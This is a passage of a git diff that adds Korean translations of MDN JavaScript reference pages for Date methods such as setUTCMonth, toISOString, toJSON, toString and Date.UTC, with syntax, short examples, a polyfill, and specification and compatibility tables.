+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html
new file mode 100644
index 0000000000..266112be92
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html
@@ -0,0 +1,130 @@
+---
+title: Date.prototype.setUTCMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+---
+<div>{{JSRef}}</div>
+
+<p>setUTCMonth () 메서드는 표준시에 따라 지정된 날짜의 월을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>monthValue</code></dt>
+ <dd>1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>dayValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCMonth()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 monthValue에 15를 사용하면 연도가 1 씩 증가하고 3은 월에 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCMonth()">Using <code>setUTCMonth()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMonth(11);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html
new file mode 100644
index 0000000000..f4d5609444
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html
@@ -0,0 +1,130 @@
+---
+title: Date.prototype.setUTCSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCSeconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>secondsValue</code></dt>
+ <dd>초를 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setUTCSeconds()가 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어, secondsValue에 100을 사용하면 {{jsxref("Date")}} 객체에 저장된 분이 1 씩 증가하고 40 초 동안 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCSeconds()">Using <code>setUTCSeconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCSeconds(20);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/todatestring/index.html b/files/ko/web/javascript/reference/global_objects/date/todatestring/index.html
new file mode 100644
index 0000000000..1ded363e99
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/todatestring/index.html
@@ -0,0 +1,82 @@
+---
+title: Date.prototype.toDateString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toDateString()</strong></code> 메서드는 미국 영어로 사람이 읽을 수있는 형태로 {{jsxref("Date")}} 객체의 날짜 부분을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/date-todatestring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toDateString()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 {{jsxref ( "Date")}} 객체의 날짜 부분을 사람이 읽을 수있는 형태로 미국 영어로 나타내는 문자열입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref ( "Date")}} 인스턴스는 특정 시점을 참조합니다. {{jsxref ( "Date.prototype.toString ()", "toString ()")}}을 호출하면 사람이 읽을 수있는 형식의 미국식 영어로 된 날짜가 반환됩니다. SpiderMonkey에서는 날짜 부분 (일, 월, 연도)과 시간 부분 (시, 분, 초 및 시간대)으로 구성됩니다. 때로는 날짜 부분의 문자열을 얻는 것이 바람직합니다. 이러한 일은 toDateString () 메서드를 사용하여 수행 할 수 있습니다.</p>
+
+<p>toDateString () 메서드는 ECMA-262를 구현하는 호환 엔진이 {{jsxref ( "Date.prototype.toString ()", "toString ()")}} 날짜 ")}} 객체를 사용할 수 있습니다. 형식은 구현에 따라 다르며 간단한 문자열 분할 방법은 여러 엔진에서 일관된 결과를 생성하지 않을 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_basic_usage_of_toDateString()">A basic usage of <code>toDateString()</code></h3>
+
+<pre class="brush: js">var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString());     // logs Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toDateString()); // logs Wed Jul 28 1993
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.3', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Date.toDateString")}}</p>
+
+<div> </div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/toisostring/index.html b/files/ko/web/javascript/reference/global_objects/date/toisostring/index.html
new file mode 100644
index 0000000000..a9743f04d6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/toisostring/index.html
@@ -0,0 +1,107 @@
+---
+title: Date.prototype.toISOString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toISOString()</code></strong> 메서드는 단순화한 확장 ISO 형식(<a href="http://en.wikipedia.org/wiki/ISO_8601">ISO 8601</a>)의 문자열을 반환합니다. 반환값은 언제나 24글자 또는 27글자(각각 <strong><code>YYYY-MM-DDTHH:mm:ss.sssZ</code></strong> 또는 <strong><code>±YYYYYY-MM-DDTHH:mm:ss.sssZ</code></strong>)입니다. 시간대는 언제나 UTC이며 접미어 "<code>Z</code>"로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-toisostring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toISOString()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜를 국제표준시 기준 <a href="http://en.wikipedia.org/wiki/ISO_8601">ISO 8601</a> 형식으로 표현한 문자열.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toISOString()_사용하기"><code>toISOString()</code> 사용하기</h3>
+
+<p>아래 예제는 비표준 문자열의 분석을 포함하고 있어 비 Mozilla 브라우저에서는 올바르게 작동하지 않을 수 있습니다.</p>
+
+<pre class="brush: js">const today = new Date('05 October 2011 14:48 UTC');
+
+console.log(today.toISOString()); // Returns 2011-10-05T14:48:00.000Z</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>toISOString</code>은 ECMA-262 제5판에 표준으로 자리잡았습니다. 아직 지원하지 않는 환경에서는 다음 코드를 추가해 대체할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Date.prototype.toISOString) {
+  (function() {
+
+    function pad(number) {
+      if (number &lt; 10) {
+        return '0' + number;
+      }
+      return number;
+    }
+
+    Date.prototype.toISOString = function() {
+      return this.getUTCFullYear() +
+        '-' + pad(this.getUTCMonth() + 1) +
+        '-' + pad(this.getUTCDate()) +
+        'T' + pad(this.getUTCHours()) +
+        ':' + pad(this.getUTCMinutes()) +
+        ':' + pad(this.getUTCSeconds()) +
+        '.' + (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +
+        'Z';
+    };
+
+  }());
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toISOString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/tojson/index.html b/files/ko/web/javascript/reference/global_objects/date/tojson/index.html
new file mode 100644
index 0000000000..5f069e3417
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/tojson/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.toJSON()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toJSON()</code></strong> 메서드는 {{jsxref("Date")}} 객체의 문자열 표현을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tojson.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toJSON()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 문자열 표현.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Date")}} 인스턴스는 시간의 특정 지점을 가리킵니다. <code>toJSON()</code>을 호출하면 {{jsxref("Date.prototype.toISOString()", "toISOString()")}} 사용해 그 인스턴스가 가리키는 시간의 문자열 표현을 반환합니다. <code>toJSON()</code>은  <code>Date</code> 값을 {{Glossary("JSON")}}으로 직렬화할 때 유용하게 사용할 수 있도록 만들어졌습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toJSON()_사용하기"><code>toJSON()</code> 사용하기</h3>
+
+<pre class="brush:js">const jsonDate = (new Date()).toJSON();
+const backToDate = new Date(jsonDate);
+
+console.log(jsonDate); //2015-10-26T07:46:36.611Z
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toJSON")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/tostring/index.html b/files/ko/web/javascript/reference/global_objects/date/tostring/index.html
new file mode 100644
index 0000000000..5adaaf4f84
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/tostring/index.html
@@ -0,0 +1,125 @@
+---
+title: Date.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>toString()</code></strong> 메서드는 {{jsxref("Date")}} 객체의 시간을 문자열로 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/date-tostring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜를 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Date")}} 객체는 <code>toString()</code> 메서드를 {{jsxref("Object.prototype")}}이 아닌 {{jsxref("Date.prototype")}}에서 상속받습니다. <code>Date.prototype.toString()</code>의 반환값은 ECMA-262에 명시되어있으며 다음과 같이 요약할 수 있습니다.</p>
+
+<ul>
+ <li>요일: 세 글자 영어 요일명. 예: "Sat"</li>
+ <li>공백</li>
+ <li>월: 세 글자 영어 월 이름. 예: "Sep"</li>
+ <li>공백</li>
+ <li>일: 두 글자 숫자. 예: "01"</li>
+ <li>공백</li>
+ <li>연: 네 글자 숫자. 예: "2018"</li>
+ <li>공백</li>
+ <li>시: 두 글자 숫자. 예: "14"</li>
+ <li>콜론</li>
+ <li>분: 두 글자 숫자. 예: "53"</li>
+ <li>콜론</li>
+ <li>초: 두 글자 숫자. 예: "26"</li>
+ <li>공백</li>
+ <li>문자열 "GMT"</li>
+ <li>시간대 차이의 부호.
+  <ul>
+   <li>0 이상일 경우 "+"</li>
+   <li>0 미만일 경우 "-"</li>
+  </ul>
+ </li>
+ <li>두 글자 숫자로 표현한 시 차이. 예: "14"</li>
+ <li>두 글자 숫자로 표현한 분 차이. 예: "00"</li>
+ <li>선택사항: 다음으로 구성한 시간대의 이름.
+  <ul>
+   <li>공백</li>
+   <li>여는 소괄호</li>
+   <li>구현마다 다를 수 있는 시간대 이름. 약어와 전체 이름 둘 다 가능. 예: "Korea Standard Time", "한국 표준시" 또는 "KST"</li>
+   <li>닫는 소괄호</li>
+  </ul>
+ </li>
+</ul>
+
+<p>예: "Sat Sep 01 2018 14:53:26 GMT+0900 (KST)"</p>
+
+<p>ECMAScript 2018(제9판) 전까지 <code>toString()</code>의 반환 형식은 구현에 따라 다를 수 있었습니다. 따라서 특정 형식에 의존하지 않아야 합니다.</p>
+
+<p><code>toString()</code> 메서드는 날짜를 문자열로 표현해야 할 때 자동으로 쓰입니다. <code>console.log(new Date())</code>와 <code>const today = 'Today is ' + new Date()</code> 등의 경우를 예로 들 수 있습니다.</p>
+
+<p><code>toString()</code>은 제네릭 메서드로 <code>this</code>의 값이 {{jsxref("Date")}}일 필요는 없습니다. 그러나 내부적으로 <code>[[TimeValue]]</code> 속성이 필요한데, 이는 JavaScript로는 설정할 수 없어 결국 사용이 <code>Date</code> 인스턴스로 제한됩니다. <code>Date</code> 외의 다른 객체에서 호출하면 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toString()_사용"><code>toString()</code> 사용</h3>
+
+<pre class="brush: js"><code>var x = new Date();
+var myVar = x.toString(); // assigns a string value to myVar in the same format as:
+                          // Mon Sep 08 1998 14:36:22 GMT+0900 (KST)</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/utc/index.html b/files/ko/web/javascript/reference/global_objects/date/utc/index.html
new file mode 100644
index 0000000000..f340c4d44a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/utc/index.html
@@ -0,0 +1,139 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Reference/Global_Objects/Date/UTC
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.UTC()</code></strong> 메서드는 {{jsxref("Date")}} 생성자와 비슷한 매개변수를 받지만, 모두 UTC로 취급합니다. 반환 값은 1970년 1월 1일 00:00:00 UTC부터 매개변수가 나타내는 시간의 차이를 밀리초로 나타낸 수입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-utc.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><strong>ECMAScript 2017 이상:</strong></p>
+
+<pre class="syntaxbox">Date.UTC(<var>year[</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]])</pre>
+
+<p><strong>ECMAScript 2016 이하:</strong> (<code>month</code> 필수)</p>
+
+<pre class="syntaxbox">Date.UTC(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>네 자리 연도.</dd>
+ <dt><code>month</code></dt>
+ <dd>월을 나타내는 0(1월)에서 11(12월) 사이의 정수. ECMAScript 2016까지는 필수 매개변수였으나, ECMA2017부터는 선택사항입니다.</dd>
+ <dt><code>day</code> {{optional_inline}}</dt>
+ <dd>일을 나타내는 1에서 31 사이의 정수. 기본값은 1입니다.</dd>
+ <dt><code>hour</code> {{optional_inline}}</dt>
+ <dd>시를 나타내는 0에서 23 사이의 정수. 기본값은 0입니다.</dd>
+ <dt><code>minute</code> {{optional_inline}}</dt>
+ <dd>분을 나타내는 0에서 59 사이의 정수. 기본값은 0입니다.</dd>
+ <dt><code>second</code> {{optional_inline}}</dt>
